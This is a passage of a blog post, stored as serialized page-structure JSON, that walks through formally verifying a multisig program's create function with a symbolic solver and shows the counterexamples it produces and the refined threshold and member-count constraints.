holder":14},[20899],{"type":24,"value":1093},{"type":19,"tag":168,"props":20901,"children":20902},{"class":170,"line":6504},[20903],{"type":19,"tag":168,"props":20904,"children":20905},{"style":373},[20906],{"type":24,"value":20907}," // check we don't exceed u16\n",{"type":19,"tag":168,"props":20909,"children":20910},{"class":170,"line":6549},[20911,20915,20920,20924,20928,20932,20936],{"type":19,"tag":168,"props":20912,"children":20913},{"style":382},[20914],{"type":24,"value":385},{"type":19,"tag":168,"props":20916,"children":20917},{"style":393},[20918],{"type":24,"value":20919}," total_members",{"type":19,"tag":168,"props":20921,"children":20922},{"style":399},[20923],{"type":24,"value":402},{"type":19,"tag":168,"props":20925,"children":20926},{"style":393},[20927],{"type":24,"value":20840},{"type":19,"tag":168,"props":20929,"children":20930},{"style":399},[20931],{"type":24,"value":948},{"type":19,"tag":168,"props":20933,"children":20934},{"style":175},[20935],{"type":24,"value":6579},{"type":19,"tag":168,"props":20937,"children":20938},{"style":212},[20939],{"type":24,"value":1084},{"type":19,"tag":168,"props":20941,"children":20942},{"class":170,"line":6655},[20943,20947,20951,20955,20959],{"type":19,"tag":168,"props":20944,"children":20945},{"style":419},[20946],{"type":24,"value":9724},{"type":19,"tag":168,"props":20948,"children":20949},{"style":393},[20950],{"type":24,"value":20919},{"type":19,"tag":168,"props":20952,"children":20953},{"style":399},[20954],{"type":24,"value":6157},{"type":19,"tag":168,"props":20956,"children":20957},{"style":192},[20958],{"type":24,"value":1954},{"type":19,"tag":168,"props":20960,"children":20961},{"style":212},[20962],{"type":24,"value":691},{"type":19,"tag":168,"props":20964,"children":20966},{"class":170,"line":20965},31,[20967,20971,20976,20980,20985,20989,20994],{"type":19,"tag":168,"props":20968,"children":20969},{"style":419},[20970],{"type":24,"value":13192},{"type":19,"tag":168,"props":20972,"children":20973},{"style":175},[20974],{"type":24,"value":20975}," err!",{"type":19,"tag":168,"props":20977,"children":20978},{"style":212},[20979],{"type":24,"value":500},{"type":19,"tag":168,"props":20981,"children":20982},{"style":825},[20983],{"type":24,"value":20984},"MsError",{"type":19,"tag":168,"props":20986,"children":20987},{"style":399},[20988],{"type":24,"value":888},{"type":19,"tag":168,"props":20990,"children":20991},{"style":825},[20992],{"type":24,"value":20993},"EmptyMembers",{"type":19,"tag":168,"props":20995,"children":20996},{"style":212},[20997],{"type":24,"value":1249},{"type":19,"tag":168,"props":20999,"children":21001},{"class":170,"line":21000},32,[21002],{"type":19,"tag":168,"props":21003,"children":21004},{"style":212},[21005],{"type":24,"value":761},{"type":19,"tag":168,"props":21007,"children":21009},{"class":170,"line":21008},33,[21010],{"type":19,"tag":168,"props":21011,"children":21012},{"emptyLinePlaceholder":14},[21013],{"type":24,"value":1093},{"type":19,"tag":168,"props":21015,"children":21017},{"class":170,"line":21016},34,[21018],{"type":19,"tag":168,"props":21019,"children":21020},{"style":373},[21021],{"type":24,"value":21022}," // make sure we don't exceed u16 on first call\n",{"type":19,"tag":168,"props":21024,"children":21026},{"class":170,"line":21025},35,[21027,21031,21035,21039,21043,21047,21051,21056,21060],{"type":19,"tag":168,"props":21028,"children":21029},{"style":419},[21030],{"type":24,"value":9724},{"type":19,"tag":168,"props":21032,"children":21033},{"style":393},[21034],{"type":24,"value":20919},{"type":19,"tag":168,"props":21036,"children":21037},{"style":399},[21038],{"type":24,"value":11640},{"type":19,"tag":168,"props":21040,"children":21041},{"style":825},[21042],{"type":24,"value":11177},{"type":19,"tag":168,"props":21044,"children":21045},{"style":399},[21046],{"type":24,"value":888},{"type":19,"tag":168,"props":21048,"children":21049},{"style":175},[21050],{"type":24,"value":16927},{"type":19,"tag":168,"props":21052,"children":21053},{"style":212},[21054],{"type":24,"value":21055},"(u16",{"type":19,"tag":168,"props":21057,"children":21058},{"style":399},[21059],{"type":24,"value":888},{"type":19,"tag":168,"props":21061,"children":21062},{"style":212},[21063],{"type":24,"value":21064},"MAX) {\n",{"type":19,"tag":168,"props":21066,"children":21068},{"class":170,"line":21067},36,[21069,21073,21077,21081,21085,21089,21094],{"type":19,"tag":168,"props":21070,"children":21071},{"style":419},[21072],{"type":24,"value":13192},{"type":19,"tag":168,"props":21074,"children":21075},{"style":175},[21076],{"type":24,"value":20975},{"type":19,"tag":168,"props":21078,"children":21079},{"style":212},[21080],{"type":24,"value":500},{"type":19,"tag":168,"props":21082,"children":21083},{"style":825},[21084],{"type":24,"value":20984},{"type":19,"tag":168,"props":21086,"children":21087},{"style":399},[21088],{"type":24,"value":888},{"type":19,"tag":168,"props":21090,"children":21091},{"style":825},[21092],{"type":24,"value":21093},"MaxMembersReached",{"type":19,"tag":168,"props":21095,"children":21096},{"style":212},[21097],{"type":24,"value":1249},{"type":19,"tag":168,"props":21099,"children":21101},{"class":170,"line":21100},37,[21102],{"type":19,"tag":168,"props":21103,"children":21104},{"style":212},[21105],{"type":24,"value":761},{"type":19,"tag":168,"props":21107,"children":21109},{"class":170,"line":21108},38,[21110],{"type":19,"tag":168,"props":21111,"children":21112},{"emptyLinePlaceholder":14},[21113],{"type":24,"value":1093},{"type":19,"tag":168,"props":21115,"children":21117},{"class":170,"line":21116},39,[21118],{"type":19,"tag":168,"props":21119,"children":21120},{"style":373},[21121],{"type":24,"value":21122}," // make sure threshold is valid\n",{"type":19,"tag":168,"props":21124,"children":21126},{"class":170,"line":21125},40,[21127,21131,21135,21139,21143,21147,21151,21156,21160,21165,21169,21173,21177,21181,21185,21190,21195],{"type":19,"tag":168,"props":21128,"children":21129},{"style":419},[21130],{"type":24,"value":9724},{"type":19,"tag":168,"props":21132,"children":21133},{"style":825},[21134],{"type":24,"value":11177},{"type":19,"tag":168,"props":21136,"children":21137},{"style":399},[21138],{"type":24,"value":888},{"type":19,"tag":168,"props":21140,"children":21141},{"style":175},[21142],{"type":24,"value":16927},{"type":19,"tag":168,"props":21144,"children":21145},{"style":212},[21146],{"type":24,"value":500},{"type":19,"tag":168,"props":21148,"children":21149},{"style":393},[21150],{"type":24,"value":20205},{"type":19,"tag":168,"props":21152,"children":21153},{"style":212},[21154],{"type":24,"value":21155},") \u003C ",{"type":19,"tag":168,"props":21157,"children":21158},{"style":192},[21159],{"type":24,"value":1442},{"type":19,"tag":168,"props":21161,"children":21162},{"style":399},[21163],{"type":24,"value":21164}," ||",{"type":19,"tag":168,"props":21166,"children":21167},{"style":825},[21168],{"type":24,"value":11177},{"type":19,"tag":168,"props":21170,"children":21171},{"style":399},[21172],{"type":24,"value":888},{"type":19,"tag":168,"props":21174,"children":21175},{"style":175},[21176],{"type":24,"value":16927},{"type":19,"tag":168,"props":21178,"children":21179},{"style":212},[21180],{"type":24,"value":500},{"type":19,"tag":168,"props":21182,"children":21183},{"style":393},[21184],{"type":24,"value":20205},{"type":19,"tag":168,"props":21186,"children":21187},{"style":212},[21188],{"type":24,"value":21189},") > ",{"type":19,"tag":168,"props":21191,"children":21192},{"style":393},[21193],{"type":24,"value":21194},"total_members",{"type":19,"tag":168,"props":21196,"children":21197},{"style":212},[21198],{"type":24,"value":691},{"type":19,"tag":168,"props":21200,"children":21202},{"class":170,"line":21201},41,[21203,21207,21211,21215,21219,21223,21228],{"type":19,"tag":168,"props":21204,"children":21205},{"style":419},[21206],{"type":24,"value":13192},{"type":19,"tag":168,"props":21208,"children":21209},{"style":175},[21210],{"type":24,"value":20975},{"type":19,"tag":168,"props":21212,"children":21213},{"style":212},[21214],{"type":24,"value":500},{"type":19,"tag":168,"props":21216,"children":21217},{"style":825},[21218],{"type":24,"value":20984},{"type":19,"tag":168,"props":21220,"children":21221},{"style":399},[21222],{"type":24,"value":888},{"type":19,"tag":168,"props":21224,"children":21225},{"style":825},[21226],{"type":24,"value":21227},"InvalidThreshold",{"type":19,"tag":168,"props":21229,"children":21230},{"style":212},[21231],{"type":24,"value":1249},{"type":19,"tag":168,"props":21233,"children":21235},{"class":170,"line":21234},42,[21236],{"type":19,"tag":168,"props":21237,"children":21238},{"style":212},[21239],{"type":24,"value":761},{"type":19,"tag":168,"props":21241,"children":21243},{"class":170,"line":21242},43,[21244],{"type":19,"tag":168,"props":21245,"children":21246},{"emptyLinePlaceholder":14},[21247],{"type":24,"value":1093},{"type":19,"tag":168,"props":21249,"children":21251},{"class":170,"line":21250},44,[21252,21256,21260,21264,21268,21273,21277,21281],{"type":19,"tag":168,"props":21253,"children":21254},{"style":393},[21255],{"type":24,"value":17678},{"type":19,"tag":168,"props":21257,"children":21258},{"style":399},[21259],{"type":24,"value":948},{"type":19,"tag":168,"props":21261,"children":21262},{"style":212},[21263],{"type":24,"value":12121},{"type":19,"tag":168,"props":21265,"children":21266},{"style":399},[21267],{"type":24,"value":948},{"type":19,"tag":168,"props":21269,"children":21270},{"style":212},[21271],{"type":24,"value":21272},"multisig",{"type":19,"tag":168,"props":21274,"children":21275},{"style":399},[21276],{"type":24,"value":948},{"type":19,"tag":168,"props":21278,"children":21279},{"style":175},[21280],{"type":24,"value":18195},{"type":19,"tag":168,"props":21282,"children":21283},{"style":212},[21284],{"type":24,"value":870},{"type":19,"tag":168,"props":21286,"children":21288},{"class":170,"line":21287},45,[21289,21294],{"type":19,"tag":168,"props":21290,"children":21291},{"style":393},[21292],{"type":24,"value":21293}," threshold",{"type":19,"tag":168,"props":21295,"children":21296},{"style":212},[21297],{"type":24,"value":915},{"type":19,"tag":168,"props":21299,"children":21301},{"class":170,"line":21300},46,[21302,21307],{"type":19,"tag":168,"props":21303,"children":21304},{"style":393},[21305],{"type":24,"value":21306}," create_key",{"type":19,"tag":168,"props":21308,"children":21309},{"style":212},[21310],{"type":24,"value":915},{"type":19,"tag":168,"props":21312,"children":21314},{"class":170,"line":21313},47,[21315,21320],{"type":19,"tag":168,"props":21316,"children":21317},{"style":393},[21318],{"type":24,"value":21319}," members",{"type":19,"tag":168,"props":21321,"children":21322},{"style":212},[21323],{"type":24,"value":915},{"type":19,"tag":168,"props":21325,"children":21327},{"class":170,"line":21326},48,[21328,21332,21336,21340,21345,21349,21353,21357,21362,21366,21370,21374],{"type":19,"tag":168,"props":21329,"children":21330},{"style":399},[21331],{"type":24,"value":5188},{"type":19,"tag":168,"props":21333,"children":21334},{"style":393},[21335],{"type":24,"value":17735},{"type":19,"tag":168,"props":21337,"children":21338},{"style":399},[21339],{"type":24,"value":948},{"type":19,"tag":168,"props":21341,"children":21342},{"style":212},[21343],{"type":24,"value":21344},"bumps",{"type":19,"tag":168,"props":21346,"children":21347},{"style":399},[21348],{"type":24,"value":948},{"type":19,"tag":168,"props":21350,"children":21351},{"style":175},[21352],{"type":24,"value":13800},{"type":19,"tag":168,"props":21354,"children":21355},{"style":212},[21356],{"type":24,"value":500},{"type":19,"tag":168,"props":21358,"children":21359},{"style":181},[21360],{"type":24,"value":21361},"\"multisig\"",{"type":19,"tag":168,"props":21363,"children":21364},{"style":212},[21365],{"type":24,"value":524},{"type":19,"tag":168,"props":21367,"children":21368},{"style":399},[21369],{"type":24,"value":948},{"type":19,"tag":168,"props":21371,"children":21372},{"style":175},[21373],{"type":24,"value":1079},{"type":19,"tag":168,"props":21375,"children":21376},{"style":212},[21377],{"type":24,"value":898},{"type":19,"tag":168,"props":21379,"children":21381},{"class":170,"line":21380},49,[21382],{"type":19,"tag":168,"props":21383,"children":21384},{"style":212},[21385],{"type":24,"value":21386}," )\n",{"type":19,"tag":168,"props":21388,"children":21390},{"class":170,"line":21389},50,[21391],{"type":19,"tag":168,"props":21392,"children":21393},{"style":212},[21394],{"type":24,"value":1326},{"type":19,"tag":20,"props":21396,"children":21397},{},[21398,21400,21405,21407,21412],{"type":24,"value":21399},"We can start by testing an empty ",{"type":19,"tag":27,"props":21401,"children":21403},{"className":21402},[],[21404],{"type":24,"value":17609},{"type":24,"value":21406}," (this will default to ",{"type":19,"tag":27,"props":21408,"children":21410},{"className":21409},[],[21411],{"type":24,"value":1423},{"type":24,"value":21413},"):",{"type":19,"tag":158,"props":21415,"children":21417},{"code":21416,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[21418],{"type":19,"tag":27,"props":21419,"children":21420},{"__ignoreMap":7},[21421,21429],{"type":19,"tag":168,"props":21422,"children":21423},{"class":170,"line":171},[21424],{"type":19,"tag":168,"props":21425,"children":21426},{"style":212},[21427],{"type":24,"value":21428},"#[succeeds_if()]\n",{"type":19,"tag":168,"props":21430,"children":21431},{"class":170,"line":198},[21432,21436,21440,21444,21448,21452,21457,21461],{"type":19,"tag":168,"props":21433,"children":21434},{"style":382},[21435],{"type":24,"value":11136},{"type":19,"tag":168,"props":21437,"children":21438},{"style":382},[21439],{"type":24,"value":11141},{"type":19,"tag":168,"props":21441,"children":21442},{"style":175},[21443],{"type":24,"value":4548},{"type":19,"tag":168,"props":21445,"children":21446},{"style":212},[21447],{"type":24,"value":500},{"type":19,"tag":168,"props":21449,"children":21450},{"style":399},[21451],{"type":24,"value":7032},{"type":19,"tag":168,"props":21453,"children":21454},{"style":212},[21455],{"type":24,"value":21456},") { ",{"type":19,"tag":168,"props":21458,"children":21459},{"style":399},[21460],{"type":24,"value":7032},{"type":19,"tag":168,"props":21462,"children":21463},{"style":212},[21464],{"type":24,"value":7037},{"type":19,"tag":20,"props":21466,"children":21467},{},[21468],{"type":24,"value":21469},"Running the solver, we get:",{"type":19,"tag":158,"props":21471,"children":21473},{"code":21472},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[21474],{"type":19,"tag":27,"props":21475,"children":21476},{"__ignoreMap":7},[21477],{"type":24,"value":21472},{"type":19,"tag":20,"props":21479,"children":21480},{},[21481,21483,21488],{"type":24,"value":21482},"This means that ",{"type":19,"tag":27,"props":21484,"children":21486},{"className":21485},[],[21487],{"type":24,"value":1423},{"type":24,"value":21489}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":19,"tag":20,"props":21491,"children":21492},{},[21493],{"type":24,"value":21494},"We can ask the solver to produce a counterexample:",{"type":19,"tag":158,"props":21496,"children":21498},{"code":21497},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[21499],{"type":19,"tag":27,"props":21500,"children":21501},{"__ignoreMap":7},[21502],{"type":24,"value":21497},{"type":19,"tag":20,"props":21504,"children":21505},{},[21506],{"type":24,"value":21507},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":19,"tag":20,"props":21509,"children":21510},{},[21511],{"type":19,"tag":293,"props":21512,"children":21513},{},[21514,21516,21522],{"type":24,"value":21515},"Note also that the verifier decided to use a ",{"type":19,"tag":27,"props":21517,"children":21519},{"className":21518},[],[21520],{"type":24,"value":21521},"SparseVec",{"type":24,"value":21523}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":19,"tag":20,"props":21525,"children":21526},{},[21527],{"type":19,"tag":293,"props":21528,"children":21529},{},[21530,21532,21537,21538,21544,21546,21551,21553,21558],{"type":24,"value":21531},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":19,"tag":27,"props":21533,"children":21535},{"className":21534},[],[21536],{"type":24,"value":1235},{"type":24,"value":8436},{"type":19,"tag":27,"props":21539,"children":21541},{"className":21540},[],[21542],{"type":24,"value":21543},"pop",{"type":24,"value":21545}," are stubbed out to simply panic for the ",{"type":19,"tag":27,"props":21547,"children":21549},{"className":21548},[],[21550],{"type":24,"value":21521},{"type":24,"value":21552}," and if this code tried to do that we would fall back to the concrete ",{"type":19,"tag":27,"props":21554,"children":21556},{"className":21555},[],[21557],{"type":24,"value":14660},{"type":24,"value":21559}," type.",{"type":19,"tag":20,"props":21561,"children":21562},{},[21563],{"type":24,"value":21564},"We can add this to our constraint and try again:",{"type":19,"tag":158,"props":21566,"children":21568},{"code":21567,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[21569],{"type":19,"tag":27,"props":21570,"children":21571},{"__ignoreMap":7},[21572,21580,21617,21624],{"type":19,"tag":168,"props":21573,"children":21574},{"class":170,"line":171},[21575],{"type":19,"tag":168,"props":21576,"children":21577},{"style":212},[21578],{"type":24,"value":21579},"#[succeeds_if(\n",{"type":19,"tag":168,"props":21581,"children":21582},{"class":170,"line":198},[21583,21588,21592,21596,21600,21604,21608,21612],{"type":19,"tag":168,"props":21584,"children":21585},{"style":212},[21586],{"type":24,"value":21587}," (threshold ",{"type":19,"tag":168,"props":21589,"children":21590},{"style":382},[21591],{"type":24,"value":6280},{"type":19,"tag":168,"props":21593,"children":21594},{"style":825},[21595],{"type":24,"value":11177},{"type":19,"tag":168,"props":21597,"children":21598},{"style":212},[21599],{"type":24,"value":481},{"type":19,"tag":168,"props":21601,"children":21602},{"style":399},[21603],{"type":24,"value":16868},{"type":19,"tag":168,"props":21605,"children":21606},{"style":212},[21607],{"type":24,"value":20840},{"type":19,"tag":168,"props":21609,"children":21610},{"style":399},[21611],{"type":24,"value":948},{"type":19,"tag":168,"props":21613,"children":21614},{"style":212},[21615],{"type":24,"value":21616},"len()\n",{"type":19,"tag":168,"props":21618,"children":21619},{"class":170,"line":415},[21620],{"type":19,"tag":168,"props":21621,"children":21622},{"style":212},[21623],{"type":24,"value":17713},{"type":19,"tag":168,"props":21625,"children":21626},{"class":170,"line":450},[21627,21631,21635,21639,21643,21647,21651,21655],{"type":19,"tag":168,"props":21628,"children":21629},{"style":382},[21630],{"type":24,"value":11136},{"type":19,"tag":168,"props":21632,"children":21633},{"style":382},[21634],{"type":24,"value":11141},{"type":19,"tag":168,"props":21636,"children":21637},{"style":175},[21638],{"type":24,"value":4548},{"type":19,"tag":168,"props":21640,"children":21641},{"style":212},[21642],{"type":24,"value":500},{"type":19,"tag":168,"props":21644,"children":21645},{"style":399},[21646],{"type":24,"value":7032},{"type":19,"tag":168,"props":21648,"children":21649},{"style":212},[21650],{"type":24,"value":21456},{"type":19,"tag":168,"props":21652,"children":21653},{"style":399},[21654],{"type":24,"value":7032},{"type":19,"tag":168,"props":21656,"children":21657},{"style":212},[21658],{"type":24,"value":7037},{"type":19,"tag":20,"props":21660,"children":21661},{},[21662],{"type":24,"value":21663},"Verification failed again! This time we get a different counterexample:",{"type":19,"tag":158,"props":21665,"children":21667},{"code":21666},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[21668],{"type":19,"tag":27,"props":21669,"children":21670},{"__ignoreMap":7},[21671],{"type":24,"value":21666},{"type":19,"tag":20,"props":21673,"children":21674},{},[21675],{"type":24,"value":21676},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":19,"tag":158,"props":21678,"children":21680},{"code":21679,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[21681],{"type":19,"tag":27,"props":21682,"children":21683},{"__ignoreMap":7},[21684,21691,21726,21747,21754],{"type":19,"tag":168,"props":21685,"children":21686},{"class":170,"line":171},[21687],{"type":19,"tag":168,"props":21688,"children":21689},{"style":212},[21690],{"type":24,"value":21579},{"type":19,"tag":168,"props":21692,"children":21693},{"class":170,"line":198},[21694,21698,21702,21706,21710,21714,21718,21722],{"type":19,"tag":168,"props":21695,"children":21696},{"style":212},[21697],{"type":24,"value":21587},{"type":19,"tag":168,"props":21699,"children":21700},{"style":382},[21701],{"type":24,"value":6280},{"type":19,"tag":168,"props":21703,"children":21704},{"style":825},[21705],{"type":24,"value":11177},{"type":19,"tag":168,"props":21707,"children":21708},{"style":212},[21709],{"type":24,"value":481},{"type":19,"tag":168,"props":21711,"children":21712},{"style":399},[21713],{"type":24,"value":16868},{"type":19,"tag":168,"props":21715,"children":21716},{"style":212},[21717],{"type":24,"value":20840},{"type":19,"tag":168,"props":21719,"children":21720},{"style":399},[21721],{"type":24,"value":948},{"type":19,"tag":168,"props":21723,"children":21724},{"style":212},[21725],{"type":24,"value":21616},{"type":19,"tag":168,"props":21727,"children":21728},{"class":170,"line":415},[21729,21733,21738,21742],{"type":19,"tag":168,"props":21730,"children":21731},{"style":399},[21732],{"type":24,"value":13069},{"type":19,"tag":168,"props":21734,"children":21735},{"style":212},[21736],{"type":24,"value":21737}," threshold ",{"type":19,"tag":168,"props":21739,"children":21740},{"style":399},[21741],{"type":24,"value":13136},{"type":19,"tag":168,"props":21743,"children":21744},{"style":212},[21745],{"type":24,"value":21746}," 0\n",{"type":19,"tag":168,"props":21748,"children":21749},{"class":170,"line":450},[21750],{"type":19,"tag":168,"props":21751,"children":21752},{"style":212},[21753],{"type":24,"value":17713},{"type":19,"tag":168,"props":21755,"children":21756},{"class":170,"line":560},[21757,21761,21765,21769,21773,21777,21781,21785],{"type":19,"tag":168,"props":21758,"children":21759},{"style":382},[21760],{"type":24,"value":11136},{"type":19,"tag":168,"props":21762,"children":21763},{"style":382},[21764],{"type":24,"value":11141},{"type":19,"tag":168,"props":21766,"children":21767},{"style":175},[21768],{"type":24,"value":4548},{"type":19,"tag":168,"props":21770,"children":21771},{"style":212},[21772],{"type":24,"value":500},{"type":19,"tag":168,"props":21774,"children":21775},{"style":399},[21776],{"type":24,"value":7032},{"type":19,"tag":168,"props":21778,"children":21779},{"style":212},[21780],{"type":24,"value":21456},{"type":19,"tag":168,"props":21782,"children":21783},{"style":399},[21784],{"type":24,"value":7032},{"type":19,"tag":168,"props":21786,"children":21787},{"style":212},[21788],{"type":24,"value":7037},{"type":19,"tag":20,"props":21790,"children":21791},{},[21792],{"type":24,"value":21793},"A third counterexample:",{"type":19,"tag":158,"props":21795,"children":21797},{"code":21796},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[21798],{"type":19,"tag":27,"props":21799,"children":21800},{"__ignoreMap":7},[21801],{"type":24,"value":21796},{"type":19,"tag":20,"props":21803,"children":21804},{},[21805,21807,21813],{"type":24,"value":21806},"Here we see the size of our ",{"type":19,"tag":27,"props":21808,"children":21810},{"className":21809},[],[21811],{"type":24,"value":21812},"members",{"type":24,"value":21814}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":19,"tag":158,"props":21816,"children":21818},{"code":21817,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[21819],{"type":19,"tag":27,"props":21820,"children":21821},{"__ignoreMap":7},[21822,21829,21864,21885,21937,21944],{"type":19,"tag":168,"props":21823,"children":21824},{"class":170,"line":171},[21825],{"type":19,"tag":168,"props":21826,"children":21827},{"style":212},[21828],{"type":24,"value":21579},{"type":19,"tag":168,"props":21830,"children":21831},{"class":170,"line":198},[21832,21836,21840,21844,21848,21852,21856,21860],{"type":19,"tag":168,"props":21833,"children":21834},{"style":212},[21835],{"type":24,"value":21587},{"type":19,"tag":168,"props":21837,"children":21838},{"style":382},[21839],{"type":24,"value":6280},{"type":19,"tag":168,"props":21841,"children":21842},{"style":825},[21843],{"type":24,"value":11177},{"type":19,"tag":168,"props":21845,"children":21846},{"style":212},[21847],{"type":24,"value":481},{"type":19,"tag":168,"props":21849,"children":21850},{"style":399},[21851],{"type":24,"value":16868},{"type":19,"tag":168,"props":21853,"children":21854},{"style":212},[21855],{"type":24,"value":20840},{"type":19,"tag":168,"props":21857,"children":21858},{"style":399},[21859],{"type":24,"value":948},{"type":19,"tag":168,"props":21861,"children":21862},{"style":212},[21863],{"type":24,"value":21616},{"type":19,"tag":168,"props":21865,"children":21866},{"class":170,"line":415},[21867,21871,21876,21880],{"type":19,"tag":168,"props":21868,"children":21869},{"style":399},[21870],{"type":24,"value":13069},{"type":19,"tag":168,"props":21872,"children":21873},{"style":212},[21874],{"type":24,"value":21875}," (threshold ",{"type":19,"tag":168,"props":21877,"children":21878},{"style":399},[21879],{"type":24,"value":13136},{"type":19,"tag":168,"props":21881,"children":21882},{"style":212},[21883],{"type":24,"value":21884}," 0)\n",{"type":19,"tag":168,"props":21886,"children":21887},{"class":170,"line":450},[21888,21892,21896,21900,21904,21908,21912,21917,21921,21925,21929,21933],{"type":19,"tag":168,"props":21889,"children":21890},{"style":399},[21891],{"type":24,"value":13069},{"type":19,"tag":168,"props":21893,"children":21894},{"style":212},[21895],{"type":24,"value":20454},{"type":19,"tag":168,"props":21897,"children":21898},{"style":399},[21899],{"type":24,"value":948},{"type":19,"tag":168,"props":21901,"children":21902},{"style":212},[21903],{"type":24,"value":18476},{"type":19,"tag":168,"props":21905,"children":21906},{"style":399},[21907],{"type":24,"value":16868},{"type":19,"tag":168,"props":21909,"children":21910},{"style":212},[21911],{"type":24,"value":461},{"type":19,"tag":168,"props":21913,"children":21914},{"style":825},[21915],{"type":24,"value":21916},"u16",{"type":19,"tag":168,"props":21918,"children":21919},{"style":399},[21920],{"type":24,"value":888},{"type":19,"tag":168,"props":21922,"children":21923},{"style":825},[21924],{"type":24,"value":18494},{"type":19,"tag":168,"props":21926,"children":21927},{"style":382},[21928],{"type":24,"value":6266},{"type":19,"tag":168,"props":21930,"children":21931},{"style":825},[21932],{"type":24,"value":11177},{"type":19,"tag":168,"props":21934,"children":21935},{"style":212},[21936],{"type":24,"value":17166},{"type":19,"tag":168,"props":21938,"children":21939},{"class":170,"line":560},[21940],{"type":19,"tag":168,"props":21941,"children":21942},{"style":212},[21943],{"type":24,"value":17713},{"type":19,"tag":168,"props":21945,"children":21946},{"class":170,"line":666},[21947,21951,21955,21959,21963,21967,21971,21975],{"type":19,"tag":168,"props":21948,"children":21949},{"style":382},[21950],{"type":24,"value":11136},{"type":19,"tag":168,"props":21952,"children":21953},{"style":382},[21954],{"type":24,"value":11141},{"type":19,"tag":168,"props":21956,"children":21957},{"style":175},[21958],{"type":24,"value":4548},{"type":19,"tag":168,"props":21960,"children":21961},{"style":212},[21962],{"type":24,"value":500},{"type":19,"tag":168,"props":21964,"children":21965},{"style":399},[21966],{"type":24,"value":7032},{"type":19,"tag":168,"props":21968,"children":21969},{"style":212},[21970],{"type":24,"value":21456},{"type":19,"tag":168,"props":21972,"children":21973},{"style":399},[21974],{"type":24,"value":7032},{"type":19,"tag":168,"props":21976,"children":21977},{"style":212},[21978],{"type":24,"value":7037},{"type":19,"tag":20,"props":21980,"children":21981},{},[21982],{"type":24,"value":21983},"And now we get:",{"type":19,"tag":158,"props":21985,"children":21987},{"code":21986},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[21988],{"type":19,"tag":27,"props":21989,"children":21990},{"__ignoreMap":7},[21991],{"type":24,"value":21986},{"type":19,"tag":20,"props":21993,"children":21994},{},[21995],{"type":24,"value":21996},"🥳🥳🥳",{"type":19,"tag":20,"props":21998,"children":21999},{},[22000],{"type":24,"value":22001},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":19,"tag":158,"props":22003,"children":22005},{"code":22004,"language":362,"meta":7,"className":363,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[22006],{"type":19,"tag":27,"props":22007,"children":22008},{"__ignoreMap":7},[22009,22032,22063],{"type":19,"tag":168,"props":22010,"children":22011},{"class":170,"line":171},[22012,22016,22020,22024,22028],{"type":19,"tag":168,"props":22013,"children":22014},{"style":419},[22015],{"type":24,"value":13027},{"type":19,"tag":168,"props":22017,"children":22018},{"style":393},[22019],{"type":24,"value":20919},{"type":19,"tag":168,"props":22021,"children":22022},{"style":399},[22023],{"type":24,"value":6157},{"type":19,"tag":168,"props":22025,"children":22026},{"style":192},[22027],{"type":24,"value":1954},{"type":19,"tag":168,"props":22029,"children":22030},{"style":212},[22031],{"type":24,"value":691},{"type":19,"tag":168,"props":22033,"children":22034},{"class":170,"line":198},[22035,22039,22043,22047,22051,22055,22059],{"type":19,"tag":168,"props":22036,"children":22037},{"style":419},[22038],{"type":24,"value":14438},{"type":19,"tag":168,"props":22040,"children":22041},{"style":175},[22042],{"type":24,"value":20975},{"type":19,"tag":168,"props":22044,"children":22045},{"style":212},[22046],{"type":24,"value":500},{"type":19,"tag":168,"props":22048,"children":22049},{"style":825},[22050],{"type":24,"value":20984},{"type":19,"tag":168,"props":22052,"children":22053},{"style":399},[22054],{"type":24,"value":888},{"type":19,"tag":168,"props":22056,"children":22057},{"style":825},[22058],{"type":24,"value":20993},{"type":19,"tag":168,"props":22060,"children":22061},{"style":212},[22062],{"type":24,"value":1249},{"type":19,"tag":168,"props":22064,"children":22065},{"class":170,"line":415},[22066],{"type":19,"tag":168,"props":22067,"children":22068},{"style":212},[22069],{"type":24,"value":1326},{"type":19,"tag":20,"props":22071,"children":22072},{},[22073,22075,22081,22083,22088,22090,22095,22097,22102],{"type":24,"value":22074},"In this case this is actually redundant because if ",{"type":19,"tag":27,"props":22076,"children":22078},{"className":22077},[],[22079],{"type":24,"value":22080},"members.len() == 0",{"type":24,"value":22082}," then our threshold would also have to be ",{"type":19,"tag":27,"props":22084,"children":22086},{"className":22085},[],[22087],{"type":24,"value":1452},{"type":24,"value":22089}," (and our ",{"type":19,"tag":27,"props":22091,"children":22093},{"className":22092},[],[22094],{"type":24,"value":20205},{"type":24,"value":22096}," is not allowed to be ",{"type":19,"tag":27,"props":22098,"children":22100},{"className":22099},[],[22101],{"type":24,"value":1452},{"type":24,"value":22103},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":19,"tag":7050,"props":22105,"children":22107},{"id":22106},"_2-verify-threshold-requirements",[22108],{"type":24,"value":22109},"2. Verify threshold requirements",{"type":19,"tag":20,"props":22111,"children":22112},{},[22113],{"type":24,"value":22114},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue 